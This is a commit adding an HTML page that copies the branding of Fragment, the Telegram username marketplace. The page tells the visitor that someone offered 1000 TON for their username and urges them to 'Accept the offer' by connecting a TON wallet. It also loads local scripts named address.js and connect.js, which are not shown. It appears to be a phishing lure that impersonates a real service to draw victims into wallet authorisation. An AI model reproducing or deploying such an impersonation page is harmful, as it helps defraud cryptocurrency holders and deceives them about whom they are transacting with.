Reaperxxxx commited on
Commit
3a2951d
·
verified ·
1 Parent(s): e00f967

Create public/index.html

Browse files
Files changed (1) hide show
  1. public/index.html +587 -0
public/index.html ADDED
@@ -0,0 +1,587 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <!doctype html>
2
+ <html>
3
+ <meta http-equiv="content-type" content="text/html;charset=utf-8" />
4
+
5
+ <head>
6
+ <meta charset="utf-8" />
7
+ <title>sl_uts – Fragment</title>
8
+ <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no" />
9
+ <meta name="format-detection" content="telephone=no" />
10
+ <meta http-equiv="X-UA-Compatible" content="IE=edge" />
11
+ <meta name="MobileOptimized" content="176" />
12
+ <meta name="HandheldFriendly" content="True" />
13
+ <meta name="twitter:card" content="summary" />
14
+
15
+ <link rel="shortcut icon" href="https://fragment.com/img/fragment.ico" type="image/x-icon" />
16
+ <link rel="mask-icon" href="https://fragment.com/img/fragment_icon.svg" color="#121519" />
17
+
18
+ <link href="../css/font-roboto.css" rel="stylesheet" type="text/css" />
19
+ <link href="../css/bootstrap.min.css" rel="stylesheet" />
20
+ <link href="../css/bootstrap-extra.css" rel="stylesheet" />
21
+ <link href="../css/auction.css" rel="stylesheet" />
22
+
23
+ <script src="../js/address.js"></script>
24
+ <script src="https://unpkg.com/@tonconnect/[email protected]/dist/tonconnect-ui.min.js"></script>
25
+ </head>
26
+
27
+ <body class="emoji_image no-transition">
28
+ <svg xmlns="http://www.w3.org/2000/svg" style="display: none">
29
+ <defs>
30
+ <path id="icon-premium" d="m8.88 13.45 2.89-5.71c.33-.66 1.14-.93 1.8-.6.25.13.46.35.59.61l2.73 5.51c.22.45.66.76 1.16.82l5.7.68c.78.09 1.33.79 1.24 1.57-.04.31-.18.61-.41.84l-4.52 4.42c-.18.18-.27.43-.23.68l.75 5.98c.1.85-.5 1.63-1.36 1.74-.32.04-.65-.02-.94-.18l-4.77-2.59c-.34-.19-.76-.19-1.11-.01l-4.93 2.52c-.7.35-1.55.07-1.91-.62-.13-.26-.18-.55-.14-.84l.4-2.74c.19-1.34 1.03-2.51 2.23-3.12l5.49-2.78c.15-.08.2-.26.13-.4-.06-.12-.18-.18-.31-.16l-6.71.95c-1.02.15-2.06-.14-2.87-.79l-2.23-1.82c-.64-.51-.73-1.45-.22-2.09.24-.29.59-.48.97-.53l5.73-.74c.36-.04.68-.27.85-.6z" />
31
+ <path id="icon-ton-qr" d="m4.02 7h15.945c.33 0 .6.27.6.615 0 .105-.015.21-.075.3l-7.56 13.62c-.33.6-1.08.81-1.665.48-.21-.12-.375-.285-.48-.495l-7.305-13.62c-.15-.3-.045-.675.255-.825.09-.045.18-.075.285-.075zm7.98 14.67v-14.67z" fill="none" stroke="currentColor" stroke-width="2.1" />
32
+ </defs>
33
+ </svg>
34
+ <div id="aj_progress" class="progress-bar"></div>
35
+
36
+ <div id="aj_content">
37
+ <header class="tm-header">
38
+ <div class="tm-header-logo">
39
+ <a href="https://fragment.com/" class="tm-logo js-header-logo js-logo js-random-logo js-logo-hoverable">
40
+ <i class="tm-logo-icon js-logo-icon"></i>
41
+ <i class="tm-logo-text"></i>
42
+ </a>
43
+ </div>
44
+ <div class="tm-header-body">
45
+ <form action="https://fragment.com/" class="tm-header-search-form">
46
+ <div class="icon-before icon-search tm-field tm-search-field">
47
+ <input type="search" class="form-control tm-input tm-search-input" name="query" placeholder="Search usernames" autocomplete="off" />
48
+ </div>
49
+ </form>
50
+ </div>
51
+ <div class="tm-header-actions tm-header-actions-wide">
52
+ <button class="btn btn-primary tm-header-action tm-header-button ton-auth-link" id="ton-connect-button" style="display: none">
53
+ <i class="icon icon-connect-ton"></i>
54
+ <span class="tm-button-label">Connect TON</span>
55
+ </button>
56
+ <div class="btn-group tm-header-action tm-dropdown" id="ton-connected-dropdown" style="display: none">
57
+ <button class="btn btn-default tm-header-button dropdown-toggle" data-toggle="dropdown">
58
+ <i class="icon icon-connect-ton"></i>
59
+ <span class="tm-button-label opt-fixed-width">
60
+ <span class="tm-wallet">
61
+ <span class="head" id="wallet-head"></span>
62
+ <span class="middle"></span>
63
+ <span class="tail" id="wallet-tail"></span>
64
+ </span>
65
+ </span>
66
+ </button>
67
+ <ul class="dropdown-menu">
68
+ <li>
69
+ <a href="/my/assets" class="dropdown-menu-item icon-before icon-menu-assets" data-counter="">My Assets</a>
70
+ </li>
71
+ <li>
72
+ <a href="/my/bids" class="dropdown-menu-item icon-before icon-menu-bids" data-counter="">My Bids</a>
73
+ </li>
74
+ <li>
75
+ <a href="/my/numbers" class="dropdown-menu-item icon-before icon-menu-numbers" data-counter="">My Numbers</a>
76
+ </li>
77
+ <li>
78
+ <a href="/my/sessions" class="dropdown-menu-item icon-before icon-menu-sessions">Active Sessions</a>
79
+ </li>
80
+ <li>
81
+ <a href="javascript:;" class="dropdown-menu-item icon-before icon-menu-disconnect ton-logout-link">Log Out</a>
82
+ </li>
83
+ </ul>
84
+ </div>
85
+ </div>
86
+
87
+ <div class="tm-header-menu-button js-header-menu-button icon-before icon-header-menu"></div>
88
+ <div class="tm-header-menu hide js-header-menu" data-close-outside="js-header-menu-window">
89
+ <div class="tm-header-menu-close-button js-header-menu-close-button icon-before icon-header-menu-close"></div>
90
+ <div class="tm-header-menu-window js-header-menu-window">
91
+ <div class="tm-header-menu-body">
92
+ <h4 class="tm-menu-subheader">Platform</h4>
93
+ <div class="tm-menu-links">
94
+ <a href="https://fragment.com/about" class="tm-menu-link icon-before icon-menu-about">About</a>
95
+ <a href="https://fragment.com/terms" class="tm-menu-link icon-before icon-menu-terms">Terms</a>
96
+ <a href="https://fragment.com/privacy" class="tm-menu-link icon-before icon-menu-privacy">Privacy Policy</a>
97
+ </div>
98
+ <div class="tm-header-menu-footer">
99
+ <div class="tm-header-menu-footer-text">
100
+ Connect TON <br />to view your bids and
101
+ assets
102
+ </div>
103
+ <button class="btn btn-primary btn-block tm-menu-button ton-auth-link">
104
+ <i class="icon icon-connect-ton"></i>
105
+ <span class="tm-button-label">Connect TON</span>
106
+ </button>
107
+ </div>
108
+ </div>
109
+ </div>
110
+ </div>
111
+ </header>
112
+ <main class="tm-main js-main-content">
113
+ <section class="tm-section tm-auction-section">
114
+ <div class="tm-section-header">
115
+ <h2 class="tm-section-header-text">
116
+ <span class="tm-section-header-domain">
117
+ <span class="tm-web3-address">
118
+ <span class="subdomain">sl_uts</span>
119
+ <span class="domain">.t.me</span>
120
+ </span>
121
+ </span>
122
+ <span class="tm-section-header-status tm-status-avail">Claimed</span>
123
+ </h2>
124
+ <div class="tm-section-subscribe tm-section-box js-subscribe">
125
+ <a class="btn-link subscribe-btn js-subscribe-btn">Subscribe to updates</a>
126
+ <a class="btn-link unsubscribe-btn js-unsubscribe-btn">Unsubscribe from updates</a>
127
+ </div>
128
+ </div>
129
+
130
+ <div class="tm-section-box tm-section-bid-info">
131
+ <table class="table tm-table tm-table-fixed">
132
+ <thead>
133
+ <tr>
134
+ <th>What is this?</th>
135
+ </tr>
136
+ </thead>
137
+ </table>
138
+ <div class="tm-bid-info-text tm-offer-info-text">
139
+ Someone offered
140
+ <span class="icon-before icon-ton">1000</span>
141
+ for your username. If the price suits you, press
142
+ "Accept the offer".
143
+ <a href="https://fragment.com/about" class="tm-nowrap js-howofferworks"><br />How does this work?</a>
144
+ </div>
145
+ </div>
146
+ <div class="tm-list tm-section-box tm-section-auction-info">
147
+ <dl class="tm-list-item">
148
+ <dt class="tm-list-item-title">
149
+ Telegram Username
150
+ </dt>
151
+ <dd class="tm-list-item-value">
152
+ <span class="accent-color">@sl_uts</span>
153
+ </dd>
154
+ </dl>
155
+ <dl class="tm-list-item">
156
+ <dt class="tm-list-item-title">Web Address</dt>
157
+ <dd class="tm-list-item-value">
158
+ <span class="accent-color">t.me/sl_uts</span>
159
+ </dd>
160
+ </dl>
161
+ <dl class="tm-list-item">
162
+ <dt class="tm-list-item-title">
163
+ TON Web 3.0 Address
164
+ </dt>
165
+ <dd class="tm-list-item-value">
166
+ <span class="accent-color"><span class="tm-web3-address"><span class="subdomain"> sl_uts </span><span class="domain">.t.me</span></span>
167
+ </span>
168
+ </dd>
169
+ </dl>
170
+ </div>
171
+ <div class="tm-section-box tm-section-buttons js-actions" data-username="user" data-item-title="@user">
172
+ <button class="btn btn-primary js-make-offer-btn" id="accept-offer">
173
+ <span class="tm-button-label">Accept the offer</span>
174
+ </button>
175
+ </div>
176
+ </section>
177
+ <section class="tm-section clearfix">
178
+ <div class="tm-section-header">
179
+ <h3 class="tm-section-header-text">Latest Offers</h3>
180
+ </div>
181
+ <div class="tm-table-wrap">
182
+ <table class="table tm-table tm-table-fixed">
183
+ <thead>
184
+ <tr>
185
+ <th style="
186
+ --thin-width: 100px;
187
+ --wide-width: 25%;
188
+ ">
189
+ Offer
190
+ </th>
191
+ <th style="
192
+ --thin-width: 110px;
193
+ --wide-width: 25%;
194
+ ">
195
+ Date
196
+ </th>
197
+ <th style="--width: 50%">Offered by</th>
198
+ </tr>
199
+ </thead>
200
+ <tbody>
201
+ <tr>
202
+ <td>
203
+ <div class="table-cell">
204
+ <div class="table-cell-value tm-value icon-before icon-ton">
205
+ 1000
206
+ </div>
207
+ </div>
208
+ </td>
209
+ <td>
210
+ <div class="table-cell">
211
+ <div class="tm-datetime">
212
+ 19 Aug 2025 at 16:52
213
+ </div>
214
+ </div>
215
+ </td>
216
+ <td>
217
+ <div class="table-cell">
218
+ <a href="https://tonviewer.com/UQDm89iCT0ax77q5r8aEeTQoxV_tabRqFaSb5popvEnlMO6e" class="tm-wallet" target="_blank">
219
+ <span class="head">UQDm89iCT0ax77q5r8aEeTQo</span>
220
+ <span class="middle"></span>
221
+ <span class="tail">xV_tabRqFaSb5popvEnlMO6e</span>
222
+ </a>
223
+ </div>
224
+ </td>
225
+ </tr>
226
+ </tbody>
227
+ </table>
228
+ </div>
229
+ </section>
230
+ </main>
231
+ <div class="popup-container hide js-howitworks-popup" data-close-outside="popup-body">
232
+ <div class="popup">
233
+ <div class="popup-body">
234
+ <section>
235
+ <h4>How does this work?</h4>
236
+ <p class="popup-text">
237
+ You can buy this
238
+ <a href="https://fragment.com/about#what-is-a-collectible">collectible username</a>
239
+ and use it for your <b>personal profile</b>,
240
+ group or channel.<br />
241
+ <br /><b>To do so, simply:</b><br />• Get
242
+ <a href="https://tonkeeper.com/">Tonkeeper</a>,
243
+ open it and create a <b>wallet</b>.<br />•
244
+ Deposit funds in your <b>wallet</b> from a
245
+ <a href="https://ton.org/buy-toncoin">supported exchange</a>
246
+ or with
247
+ <a href="https://wallet.t.me/">@wallet</a> on
248
+ Telegram.<br />• Use <b>Tonkeeper</b> to log in
249
+ on Fragment and return to this page.<br />• Tap
250
+ the buttons below to join the auction.<br /><br />Purchased
251
+ entities become available under My Assets and
252
+ can be used within any supported platform,
253
+ starting with Telegram.<br /><br /><a href="https://fragment.com/about">Learn More</a>
254
+ </p>
255
+ <div class="popup-buttons">
256
+ <a class="btn btn-link btn-lg popup-cancel-btn">Close</a>
257
+ </div>
258
+ </section>
259
+ </div>
260
+ </div>
261
+ </div>
262
+ <div class="popup-container hide form-popup-container place-bid-popup-container js-place-bid-popup" data-close-outside="popup-body">
263
+ <div class="popup">
264
+ <div class="popup-body">
265
+ <section>
266
+ <h2>@user</h2>
267
+ <p class="popup-text">
268
+ Telegram username and user.t.me
269
+ </p>
270
+ <form class="js-place-bid-form">
271
+ <div class="form-group">
272
+ <label for="bid_value">Your bid</label>
273
+ <div class="icon-before icon-ton form-control-wrap tm-coin-field">
274
+ <input inputmode="decimal" class="form-control js-amount-input" id="bid_value" name="bid_value" value="0" data-for="js-bid_value" data-usd-for="js-bid_usd_value" autocomplete="off" />
275
+ </div>
276
+ <p class="help-block">
277
+ Approximately $<span class="js-bid_usd_value">0</span>
278
+ </p>
279
+ <div class="tm-form-control-hint"></div>
280
+ </div>
281
+ <div class="form-main-button">
282
+ <button type="submit" class="btn btn-primary btn-block">
283
+ <span class="tm-button-label">Place a
284
+ <span class="icon-before icon-ton tm-amount js-bid_value">0</span>
285
+ bid</span>
286
+ </button>
287
+ </div>
288
+ </form>
289
+ </section>
290
+ </div>
291
+ </div>
292
+ </div>
293
+ <div class="popup-container hide form-popup-container js-put-to-auction-popup" data-close-outside="popup-body">
294
+ <div class="popup">
295
+ <div class="popup-body">
296
+ <section>
297
+ <h4>Put up for auction</h4>
298
+ <p class="popup-text">
299
+ Do you want to make
300
+ <span class="accent-color js-username"></span>
301
+ available for auction on <b>Fragment</b>?
302
+ </p>
303
+ <form class="js-put-to-auction-form">
304
+ <input type="hidden" name="username" />
305
+ <div class="form-group">
306
+ <label for="min_bid_value">Minimum bid</label>
307
+ <div class="icon-before icon-ton form-control-wrap tm-coin-field">
308
+ <input inputmode="decimal" class="form-control js-amount-input" id="min_bid_value" name="min_bid_value" value="2" data-usd-for="js-bid_usd_value" autocomplete="off" />
309
+ <div class="form-control-hint">
310
+ ~ $<span class="js-bid_usd_value">14.59</span>
311
+ </div>
312
+ </div>
313
+ </div>
314
+ <div class="form-group">
315
+ <label for="max_price_value">Maximum price</label>
316
+ <div class="icon-before icon-ton form-control-wrap tm-coin-field">
317
+ <input inputmode="decimal" class="form-control js-amount-input" id="max_price_value" name="max_price_value" value="" placeholder="Optional" autocomplete="off" />
318
+ </div>
319
+ <p class="help-block">
320
+ Set a maximum price if you want to
321
+ enable anyone to instantly buy
322
+ <span class="js-username"></span> for
323
+ this price.
324
+ </p>
325
+ </div>
326
+ <div class="popup-buttons">
327
+ <a class="btn btn-link btn-lg popup-cancel-btn">Cancel</a>
328
+ <button type="submit" class="btn btn-link btn-lg">
329
+ Proceed
330
+ </button>
331
+ </div>
332
+ </form>
333
+ </section>
334
+ </div>
335
+ </div>
336
+ </div>
337
+ <div class="popup-container hide form-popup-container place-bid-popup-container js-sell-username-popup" data-close-outside="popup-body">
338
+ <div class="popup">
339
+ <div class="popup-body">
340
+ <section>
341
+ <h2 class="js-username"></h2>
342
+ <p class="popup-text">
343
+ Sell username on <b>Fragment</b>
344
+ </p>
345
+ <form class="js-sell-username-form">
346
+ <input type="hidden" name="username" />
347
+ <div class="form-group">
348
+ <label for="sell_value">Sell price</label>
349
+ <div class="icon-before icon-ton form-control-wrap tm-coin-field">
350
+ <input inputmode="decimal" class="form-control js-amount-input" id="sell_value" name="sell_value" value="2" data-for="js-bid_value" autocomplete="off" />
351
+ </div>
352
+ <div class="tm-form-control-hint"></div>
353
+ </div>
354
+ <div class="form-main-button">
355
+ <button type="submit" class="btn btn-primary btn-block">
356
+ <span class="tm-button-label">Sell for
357
+ <span class="icon-before icon-ton tm-amount js-bid_value">2</span></span>
358
+ </button>
359
+ </div>
360
+ </form>
361
+ </section>
362
+ </div>
363
+ </div>
364
+ </div>
365
+ <div class="popup-container hide js-convert-confirm-popup" data-close-outside="popup-body">
366
+ <div class="popup">
367
+ <div class="popup-body">
368
+ <section>
369
+ <h4>Auction Your Username</h4>
370
+ <p class="popup-text">
371
+ The
372
+ <span class="accent-color">@fragment</span> bot
373
+ sent you a <b>confirmation message</b> on
374
+ Telegram, please open it and follow the
375
+ instructions to proceed.
376
+ </p>
377
+ <div class="popup-buttons">
378
+ <a href="https://t.me/fragment" target="_blank" class="btn btn-link btn-lg">Open bot</a>
379
+ </div>
380
+ </section>
381
+ </div>
382
+ </div>
383
+ </div>
384
+ <div class="popup-container form-popup-container hide js-convert-bid-popup" data-close-outside="popup-body">
385
+ <div class="popup">
386
+ <div class="popup-body">
387
+ <section>
388
+ <h4>Auction Your Username</h4>
389
+ <p class="popup-text">
390
+ You can put
391
+ <span class="accent-color js-username"></span>
392
+ up for auction as a <b>collectible username</b>.
393
+ This action is
394
+ <b>irreversible</b>.<br /><br />The winner of
395
+ the auction will <b>own</b> the TON collectible
396
+ – and you are free to bid on it as well. Your
397
+ wallet will receive the final amount in TON,
398
+ minus
399
+ <a target="_blank" rel="noopener" href="https://fragment.com/about#q-are-there-any-transaction-fees">conversion fees</a>.
400
+ </p>
401
+ <form class="js-convert-bid-form">
402
+ <input type="hidden" name="id" />
403
+ <div class="form-group">
404
+ <label for="bid_value">Your first bid</label>
405
+ <div class="icon-before icon-ton form-control-wrap tm-coin-field">
406
+ <input inputmode="decimal" class="form-control js-amount-input" id="bid_value" name="bid_value" value="10" data-for="js-bid_value" data-usd-for="js-bid_usd_value" autocomplete="off" />
407
+ <div class="form-control-hint">
408
+ ~ $<span class="js-bid_usd_value">72.94</span>
409
+ </div>
410
+ </div>
411
+ <p class="help-block">
412
+ The auction will start after you place
413
+ the first bid. If someone outbids you,
414
+ you will get this entire amount back. If
415
+ there are no other bidders, you will get
416
+ both the new collectible and your bid
417
+ amount back, minus 5% and minus a
418
+ <span class="icon-before icon-ton-text">5</span>
419
+ fee.
420
+ </p>
421
+ </div>
422
+ <div class="popup-buttons">
423
+ <a class="btn btn-link btn-lg popup-cancel-btn">Cancel</a>
424
+ <button type="submit" class="btn btn-link btn-lg js-do-transfer-btn">
425
+ Continue
426
+ </button>
427
+ </div>
428
+ </form>
429
+ </section>
430
+ </div>
431
+ </div>
432
+ </div>
433
+ <div class="popup-container form-popup-container hide js-new-convert-bid-popup" data-close-outside="popup-body">
434
+ <div class="popup">
435
+ <div class="popup-body">
436
+ <section>
437
+ <h4>Auction Your Username</h4>
438
+ <p class="popup-text">
439
+ This will put
440
+ <span class="accent-color js-username"></span>
441
+ up for auction as a <b>collectible username</b>.
442
+ You can cancel the auction at any time before
443
+ the first bid is placed.<br /><br />You can
444
+ place your own bids in the auction – the winner
445
+ will
446
+ <b>own the TON collectible</b>.<br /><br />Your
447
+ wallet <span class="js-address"></span> will
448
+ receive the final amount in TON, minus a 5%
449
+ platform fee and a
450
+ <a target="_blank" rel="noopener" href="https://fragment.com/about#q-are-there-any-transaction-fees">one-time</a>
451
+ <span class="icon-before icon-ton">5</span>
452
+ conversion fee.
453
+ </p>
454
+ <form class="js-new-convert-bid-form">
455
+ <input type="hidden" name="id" />
456
+ <div class="form-group">
457
+ <label for="bid_value">Minimum bid</label>
458
+ <div class="icon-before icon-ton form-control-wrap tm-coin-field">
459
+ <input inputmode="decimal" class="form-control js-amount-input" id="bid_value" name="bid_value" value="10" data-for="js-bid_value" data-usd-for="js-bid_usd_value" autocomplete="off" />
460
+ <div class="form-control-hint">
461
+ ~ $<span class="js-bid_usd_value">72.94</span>
462
+ </div>
463
+ </div>
464
+ <p class="help-block">
465
+ The auction will start after someone
466
+ places the first bid.
467
+ </p>
468
+ </div>
469
+ <div class="popup-buttons">
470
+ <a class="btn btn-link btn-lg popup-cancel-btn">Cancel</a>
471
+ <button type="submit" class="btn btn-link btn-lg js-do-transfer-btn">
472
+ Create Auction
473
+ </button>
474
+ </div>
475
+ </form>
476
+ </section>
477
+ </div>
478
+ </div>
479
+ </div>
480
+ <div class="popup-container hide js-make-offer-popup" data-close-outside="popup-body">
481
+ <div class="popup">
482
+ <div class="popup-body">
483
+ <section>
484
+ <h4>Accept the offer</h4>
485
+ <p class="popup-text">
486
+ Let the owner of
487
+ <span class="accent-color">@user</span> know
488
+ that you are willing to buy this username.
489
+ </p>
490
+ <form class="js-make-offer-form">
491
+ <input type="hidden" name="id" />
492
+ <div class="form-group">
493
+ <label for="amount_value">How much would you pay?</label>
494
+ <div class="icon-before icon-ton form-control-wrap tm-coin-field">
495
+ <input inputmode="decimal" class="form-control js-amount-input" id="amount_value" name="amount_value" value="" data-for="js-amount_value" data-usd-for="js-amount_usd_value" placeholder="Enter any amount in TON" autocomplete="off" />
496
+ <div class="form-control-hint">
497
+ ~ $<span class="js-amount_usd_value"></span>
498
+ </div>
499
+ </div>
500
+ <p class="help-block">
501
+ We will notify you on Telegram if the
502
+ owner of the username makes it available
503
+ for sale.<br /><br />This service costs
504
+ <span class="icon-before icon-ton-text js-amount_fee"></span>
505
+ for this username.
506
+ </p>
507
+ </div>
508
+ <div class="popup-buttons">
509
+ <a class="btn btn-link btn-lg popup-cancel-btn">Cancel</a>
510
+ <button type="submit" class="btn btn-link btn-lg js-do-offer-btn">
511
+ Proceed
512
+ </button>
513
+ </div>
514
+ </form>
515
+ </section>
516
+ </div>
517
+ </div>
518
+ </div>
519
+ <div class="popup-container hide js-howofferworks-popup" data-close-outside="popup-body">
520
+ <div class="popup">
521
+ <div class="popup-body">
522
+ <section>
523
+ <h4>How does this work?</h4>
524
+ <p class="popup-text">
525
+ You can make an offer for this username,
526
+ suggesting the owner to sell it on Fragment. To
527
+ encourage serious offers, this process requires
528
+ a <b>small fee</b>.<br /><br /><b>To pay the fee, simply:</b><br />• Get
529
+ <a href="https://tonkeeper.com/">Tonkeeper</a>,
530
+ open it and create a <b>wallet</b>.<br />•
531
+ Deposit funds in your <b>wallet</b> from a
532
+ <a href="https://ton.org/buy-toncoin">supported exchange</a>
533
+ or with
534
+ <a href="https://wallet.t.me/">@wallet</a> on
535
+ Telegram.<br />• Use <b>Tonkeeper</b> to log in
536
+ on Fragment and return to this page.<br />• Log
537
+ in with your <b>Telegram account</b> to receive
538
+ a notification if the username gets listed.<br />•
539
+ Tap the button to make an offer – enter the
540
+ amount you'd be <b>willing to spend</b> for
541
+ this username.<br />• Scan the QR code to
542
+ <b>pay the fee</b> for making the offer.<br /><br />The
543
+ owner will receive your offer on Telegram – if
544
+ they decide to list their username,
545
+ you'll be able to make your bid.<br /><br /><a href="https://fragment.com/about">Learn More</a>
546
+ </p>
547
+ <div class="popup-buttons">
548
+ <a class="btn btn-link btn-lg popup-cancel-btn">Close</a>
549
+ </div>
550
+ </section>
551
+ </div>
552
+ </div>
553
+ </div>
554
+ <div class="popup-container hide js-botsabout-popup" data-close-outside="popup-body">
555
+ <div class="popup">
556
+ <div class="popup-body">
557
+ <section>
558
+ <h4>Bot usernames</h4>
559
+ <p class="popup-text">
560
+ This username has been upgraded and it can now
561
+ be assigned not just to channels, groups or
562
+ users, but also to bots. This upgrade is
563
+ permanent and can be performed for any
564
+ collectible username by paying a fee of
565
+ <span class="icon-before icon-ton tm-amount">1,000</span>. Usernames will remain upgraded even if they
566
+ change owners.
567
+ </p>
568
+ <div class="popup-buttons">
569
+ <a class="btn btn-link btn-lg popup-cancel-btn">OK, got it</a>
570
+ </div>
571
+ </section>
572
+ </div>
573
+ </div>
574
+ </div>
575
+ <footer class="tm-footer">
576
+ <div class="tm-footer-links">
577
+ <a href="https://fragment.com/" class="tm-footer-link">Top Auctions</a>
578
+ <a href="https://fragment.com/about" class="tm-footer-link">About</a>
579
+ <a href="https://fragment.com/terms" class="tm-footer-link">Terms</a>
580
+ <a href="https://fragment.com/privacy" class="tm-footer-link">Privacy</a>
581
+ </div>
582
+ </footer>
583
+ </div>
584
+ <script src="../js/connect.js"></script>
585
+ </body>
586
+
587
+ </html>